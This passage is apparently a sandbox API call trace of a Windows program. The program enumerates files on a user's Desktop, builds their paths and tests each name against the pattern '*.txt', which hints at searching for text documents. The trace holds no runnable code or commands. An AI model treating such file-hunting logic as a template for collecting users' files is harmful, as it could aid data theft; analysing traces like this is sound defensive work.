lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.487] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="QbxigokTDmP9qF7bIHTm.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif" [0099.487] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.487] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.487] lstrcatW (in: lpString1="\\MTVwnxmU4D\\", lpString2="QbxigokTDmP9qF7bIHTm.gif" | out: lpString1="\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif") returned="\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif" [0099.487] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104e8 [0099.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0099.487] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x43) returned 0x34300d0 [0099.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x34300d0, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", lpUsedDefaultChar=0x0) returned 67 [0099.487] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa198 [0099.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.488] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130f0 [0099.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.488] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.488] PathMatchSpecW (pszFile="QbxigokTDmP9qF7bIHTm.gif", pszSpec="*.txt") returned 0 [0099.488] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa198 | out: hHeap=0x2110000) returned 1 [0099.488] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf40c0, ftCreationTime.dwHighDateTime=0x1d7a6be, ftLastAccessTime.dwLowDateTime=0xba3b5440, ftLastAccessTime.dwHighDateTime=0x1d7af6f, ftLastWriteTime.dwLowDateTime=0xba3b5440, ftLastWriteTime.dwHighDateTime=0x1d7af6f, nFileSizeHigh=0x0, nFileSizeLow=0xd31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbxigokTDmP9qF7bIHTm.gif", cAlternateFileName="QBXIGO~1.GIF")) returned 0 [0099.488] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.488] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.488] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2a) returned 0x2110550 [0099.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x2110550, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpUsedDefaultChar=0x0) returned 42 [0099.488] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.488] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.488] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.488] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113108 [0099.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.488] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113108 | out: hHeap=0x2110000) returned 1 [0099.488] PathMatchSpecW (pszFile="MTVwnxmU4D", pszSpec="*.txt") returned 0 [0099.488] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.488] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911b3a90, ftCreationTime.dwHighDateTime=0x1d7af0f, ftLastAccessTime.dwLowDateTime=0xdcfca2e0, ftLastAccessTime.dwHighDateTime=0x1d7afd8, ftLastWriteTime.dwLowDateTime=0xdcfca2e0, ftLastWriteTime.dwHighDateTime=0x1d7afd8, nFileSizeHigh=0x0, nFileSizeLow=0x17cef, dwReserved0=0x0, dwReserved1=0x0, cFileName="p4At.m4a", cAlternateFileName="")) returned 1 [0099.488] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.488] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.488] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="p4At.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a" [0099.489] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.489] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.489] lstrcatW (in: lpString1="\\", lpString2="p4At.m4a" | out: lpString1="\\p4At.m4a") returned="\\p4At.m4a" [0099.489] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa2a0 [0099.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.489] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211aba0 [0099.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x211aba0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", lpUsedDefaultChar=0x0) returned 40 [0099.489] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.489] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211aba0 | out: hHeap=0x2110000) returned 1 [0099.489] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa2a0 | out: hHeap=0x2110000) returned 1 [0099.489] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.489] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fa0 [0099.489] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fa0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.489] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fa0 | out: hHeap=0x2110000) returned 1 [0099.489] PathMatchSpecW (pszFile="p4At.m4a", pszSpec="*.txt") returned 0 [0099.489] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.489] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e38f700, ftCreationTime.dwHighDateTime=0x1d7a021, ftLastAccessTime.dwLowDateTime=0xa8628f60, ftLastAccessTime.dwHighDateTime=0x1d7a1d0, ftLastWriteTime.dwLowDateTime=0xa8628f60, ftLastWriteTime.dwHighDateTime=0x1d7a1d0, nFileSizeHigh=0x0, nFileSizeLow=0x158ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmDY1nV.m4a", cAlternateFileName="")) returned 1 [0099.489] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.489] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.489] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="pmDY1nV.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a" [0099.489] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.489] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.489] lstrcatW (in: lpString1="\\", lpString2="pmDY1nV.m4a" | out: lpString1="\\pmDY1nV.m4a") returned="\\pmDY1nV.m4a" [0099.489] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.489] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2b) returned 0x2110550 [0099.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", cchWideChar=43, lpMultiByteStr=0x2110550, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\pmDY1nV.m4a", lpUsedDefaultChar=0x0) returned 43 [0099.489] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.490] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113060 [0099.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.490] PathMatchSpecW (pszFile="pmDY1nV.m4a", pszSpec="*.txt") returned 0 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.490] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892d3030, ftCreationTime.dwHighDateTime=0x1d7a3e4, ftLastAccessTime.dwLowDateTime=0x84f549f0, ftLastAccessTime.dwHighDateTime=0x1d7ad47, ftLastWriteTime.dwLowDateTime=0x84f549f0, ftLastWriteTime.dwHighDateTime=0x1d7ad47, nFileSizeHigh=0x0, nFileSizeLow=0x61a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RpU8jg9s7.png", cAlternateFileName="RPU8JG~1.PNG")) returned 1 [0099.490] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.490] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.490] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="RpU8jg9s7.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png" [0099.490] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.490] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.490] lstrcatW (in: lpString1="\\", lpString2="RpU8jg9s7.png" | out: lpString1="\\RpU8jg9s7.png") returned="\\RpU8jg9s7.png" [0099.490] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0099.490] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d) returned 0x2110550 [0099.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", cchWideChar=45, lpMultiByteStr=0x2110550, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\RpU8jg9s7.png", lpUsedDefaultChar=0x0) returned 45 [0099.490] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.490] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113048 [0099.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113048, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113048 | out: hHeap=0x2110000) returned 1 [0099.490] PathMatchSpecW (pszFile="RpU8jg9s7.png", pszSpec="*.txt") returned 0 [0099.490] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.490] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21289090, ftCreationTime.dwHighDateTime=0x1d7a675, ftLastAccessTime.dwLowDateTime=0xba7f7970, ftLastAccessTime.dwHighDateTime=0x1d7af80, ftLastWriteTime.dwLowDateTime=0xba7f7970, ftLastWriteTime.dwHighDateTime=0x1d7af80, nFileSizeHigh=0x0, nFileSizeLow=0x35ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="sIIXwnEmeTmghbLvRDe.m4a", cAlternateFileName="SIIXWN~1.M4A")) returned 1 [0099.491] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.491] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.491] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="sIIXwnEmeTmghbLvRDe.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a" [0099.491] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.491] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.491] lstrcatW (in: lpString1="\\", lpString2="sIIXwnEmeTmghbLvRDe.m4a" | out: lpString1="\\sIIXwnEmeTmghbLvRDe.m4a") returned="\\sIIXwnEmeTmghbLvRDe.m4a" [0099.491] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.491] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x2110560 [0099.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", cchWideChar=55, lpMultiByteStr=0x2110560, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\sIIXwnEmeTmghbLvRDe.m4a", lpUsedDefaultChar=0x0) returned 55 [0099.491] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112858 [0099.491] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.491] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.491] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fa0 [0099.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fa0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.491] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fa0 | out: hHeap=0x2110000) returned 1 [0099.491] PathMatchSpecW (pszFile="sIIXwnEmeTmghbLvRDe.m4a", pszSpec="*.txt") returned 0 [0099.491] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0099.491] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36172650, ftCreationTime.dwHighDateTime=0x1d7a581, ftLastAccessTime.dwLowDateTime=0xf20cbf70, ftLastAccessTime.dwHighDateTime=0x1d7ac28, ftLastWriteTime.dwLowDateTime=0xf20cbf70, ftLastWriteTime.dwHighDateTime=0x1d7ac28, nFileSizeHigh=0x0, nFileSizeLow=0x473d, dwReserved0=0x0, dwReserved1=0x0, cFileName="tx3sQn43qrAHw7-df.bmp", cAlternateFileName="TX3SQN~1.BMP")) returned 1 [0099.491] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.492] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.492] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="tx3sQn43qrAHw7-df.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp" [0099.492] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.492] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.492] lstrcatW (in: lpString1="\\", lpString2="tx3sQn43qrAHw7-df.bmp" | out: lpString1="\\tx3sQn43qrAHw7-df.bmp") returned="\\tx3sQn43qrAHw7-df.bmp" [0099.492] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0099.492] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x35) returned 0x2110560 [0099.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", cchWideChar=53, lpMultiByteStr=0x2110560, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tx3sQn43qrAHw7-df.bmp", lpUsedDefaultChar=0x0) returned 53 [0099.492] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112780 [0099.492] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.492] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.492] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130f0 [0099.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130f0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.492] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130f0 | out: hHeap=0x2110000) returned 1 [0099.492] PathMatchSpecW (pszFile="tx3sQn43qrAHw7-df.bmp", pszSpec="*.txt") returned 0 [0099.492] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0099.492] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbaeebe0, ftCreationTime.dwHighDateTime=0x1d7a734, ftLastAccessTime.dwLowDateTime=0x522839a0, ftLastAccessTime.dwHighDateTime=0x1d7a8d4, ftLastWriteTime.dwLowDateTime=0x522839a0, ftLastWriteTime.dwHighDateTime=0x1d7a8d4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzzsZtkMBK_y-2gskd.rtf", cAlternateFileName="TZZSZT~1.RTF")) returned 1 [0099.492] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.492] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.492] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="tzzsZtkMBK_y-2gskd.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\tzzsZtkMBK_y-2gskd.rtf" [0099.492] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.492] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.492] lstrcatW (in: lpString1="\\", lpString2="tzzsZtkMBK_y-2gskd.rtf" | out: lpString1="\\tzzsZtkMBK_y-2gskd.rtf") returned="\\tzzsZtkMBK_y-2gskd.rtf" [0099.492] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.492] 